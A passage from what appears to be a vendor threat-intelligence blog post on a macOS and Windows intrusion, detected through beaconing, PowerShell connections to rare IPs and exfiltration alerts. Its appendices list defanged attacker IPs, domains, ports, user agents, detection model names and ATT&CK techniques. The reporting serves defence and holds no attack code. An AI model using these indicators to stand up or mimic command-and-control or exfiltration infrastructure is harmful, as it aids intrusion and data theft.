Figure 5: Continued external HTTP connectivity to hostname, check02id[.]com · 83.136.210[.]180, alongside an anomalous ‘Go-http-client/1,1’ user agent.

From March 13 to March 28, the device continued exhibit unusual connectivity to various endpoints (e.g., 83.136.208[.]48, 83.136.208[.]246, check02id[.]com · 83.136.210[.]180), with the 'Multiple HTTP POSTs to Rare Hostname' model consistently triggering.

Windows OS Case

Pivoting over to an additional device, this time running Windows OS, anomalous behavior was also observed between March 30 and April 20. Notably, on March 30, the device was observed making a large number of suspicious external connection attempts to 83.136.208[.]246 over port 6783, all of which failed.

A further indicator was observed on April 1 with PowerShell connectivity to the same rare endpoint (83.136.208[.]246, port 6783), using the URI '/api/daemon' and the user agent 'Mozilla/5.0 (Windows NT; Windows NT 10.0; fr-FR) WindowsPowerShell/5.1.26100.7920'.  Additional alerts included 'New User Agent to IP Without Hostname' and 'Anomalous Github Download', alongside activity involving the same endpoint.

Figure 6 : ‘Anomalous Powershell to Rare External Destination’ and ‘Github Download’ model alerts. This behavior involved connectivity with the endpoints ‘83.136.208[.]246’ and ‘github[.]com’.

The device continued triggering 'Posting HTTP to IP Without Hostname' & 'PowerShell to External Rare' alerts between April 4 and April 20 across multiple related endpoints (i.e., 83.136.208[.]48, 83.136.208[.]246, check02id[.]com · 83.136.210[.]180).

Darktrace’s Autonomous Response capability was able to block suspicious PowerShell attempts to unusual external locations, as shown below in an example from April 20.

Figure 7:  Autonomous Response intervening to block an unusual PowerShell connection to an external destination.

Cyber AI Analyst investigations

In higher-confidence instances, Darktrace’s Cyber AI Analyst investigations helped connect otherwise separate model alerts into a single incident narrative, highlighting the attacker’s progression from post-execution scripting into sustained outbound signaling. This contextual stitching is particularly valuable in macOS scenarios where static artefacts are limited, and behavioral sequencing defines the intrusion.

Cyber AI Analyst investigations highlighted alerts on March 12, including unusual repeated connections and possible SSL command-and-control (C2) to multiple endpoints:

Figure 8: Cyber AI Analyst investigation linking events into a unified incident.

Autonomous Response

In addition to the containment actions detailed earlier, Autonomous Response implemented multiple additional measures to contain suspicious activity throughout the course of this attack. Whenever unusual external connectivity was detected, Darktrace blocked it, closing down potential C2 channels. Likewise, when data exfiltration attempts were identified, these connections were stopped to prevent the potential loss of sensitive data.

Figure 9: Autonomous Response actions implemented by Darktrace in response to suspicious connectivity in mid-March.

Furthermore, in cases where a device was deemed to have carried out a significant number of anomalous activities, Darktrace enforced a “pattern of life” on the device, preventing it from deviating from its expected behavior while allowing legitimate business operations to continue uninterrupted.

Figure 10: Autonomous Response actions implemented by Darktrace in response to suspicious connectivity in April, including the “Enforce Pattern of Life” action.

Conclusion

macOS intrusion tradecraft continues to shift toward native tooling and lightweight control channels designed to evade signature-led controls.

The repeated convergence of rare destinations, POST-based signaling, and anomalous client behavior — observed across time and across devices — provided sufficient evidence to act early and with confidence.

As macOS tradecraft continues to evolve, the defender advantage increasingly lies not in signatures, but in the ability to reason from behavior.

Credit to Justin Torres (Senior Cyber Analyst), Nathaniel Jones (VP, Security & AI Strategy, FCISO)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Alert Coverage:

/ NETWORK-based model alerts:

·       Anomalous Connection::Multiple HTTP POSTs to Rare Hostname

·       Anomalous Connection::Rare External SSL Self-Signed

·       Anomalous Connection::Powershell to Rare External

·       Anomalous Connection::New User Agent to IP Without Hostname

·       Anomalous Connection::Posting HTTP to IP Without Hostname

·       Compromise::Fast Beaconing to DGA

·       Compromise::Large Number of Suspicious Failed Connections

·       Device::Anomalous Github Download

·       Device::New PowerShell User Agent

·       Unusual Activity::Unusual External Data to New Endpoint

/ NETWORK-based Autonomous Response model alerts:

·       Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block

·       Antigena / Network::Significant Anomaly::Antigena Controlled and Model Breach

·       Antigena / Network::Significant Anomaly::Antigena Breaches Over Time Block

Indicators of Compromise (IoCs)

IP/Hostname:

·       zoom[.]uswebob[.]us · 148.72.73[.]98

·       83.136.208[.]246

·       check02id[.]com · 83.136.210[.]180

·       83.136.208[.]48

·       104.145.210[.]107

URIs:

·       /api/daemon

Destination Port Usage:

·       6783

·       5202

·       443

·       7365

·       8443

ASN:

·       AS400897 PETROSKY

·       AS398256 AS-ULTAHOST

User agents:

·       Mozilla/5.0 (Windows NT; Windows NT 10.0; fr-FR) WindowsPowerShell/5.1.26100.7920

·       Go-http-client/1.1

·       curl/8.7.1

MITRE ATT&CK Mapping

(Technique Name - Tactic - ID - Sub-Technique of)

·       Browser Session Hijacking - COLLECTION - T1185

·       Web Protocols - COMMAND AND CONTROL - T1071.001 - T1071

·       Install Digital Certificate - RESOURCE DEVELOPMENT - T1608.003 - T1608

·       PowerShell - EXECUTION - T1059.001 - T1059

·       Domain Generation Algorithms - COMMAND AND CONTROL - T1568.002 - T1568

·       Non-Standard Port - COMMAND AND CONTROL - T1571

·       Malware - RESOURCE DEVELOPMENT - T1588.001 - T1588

·       Web Service - COMMAND AND CONTROL - T1102

·       Code Repositories - COLLECTION - T1213.003 - T1213

·       Exploitation of Remote Services - LATERAL MOVEMENT - T1210

·       Exfiltration Over C2 Channel - EXFILTRATION - T1041

·       Exfiltration to Cloud Storage - EXFILTRATION - T1567.002 - T1567

References:

[1] https://www.microsoft.com/en-us/security/blog/2026/04/16/dissecting-sapphire-sleets-macos-intrusion-from-lure-to-compromise/

[2] https://radar.securityalliance.org/advisory-on-dprk-unc1069-fake-microsoft-teams-and-zoom-calls/

[3] https://www.virustotal.com/gui/domain/uswebob.us

[4] https://www.virustotal.com/gui/ip-address/83.136.210.180/community

[5] https://www.virustotal.com/gui/ip-address/104.145.210.107/community

[6] https://www.virustotal.com/gui/ip-address/83.136.208.48/community

[7] https://www.virustotal.com/gui/ip-address/83.136.208.246/community

[8] https://www.darktrace.com/blog/applescript-abuse-unpacking-a-macos-phishing-campaign

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About the author
Justin Torres
Cyber Analyst
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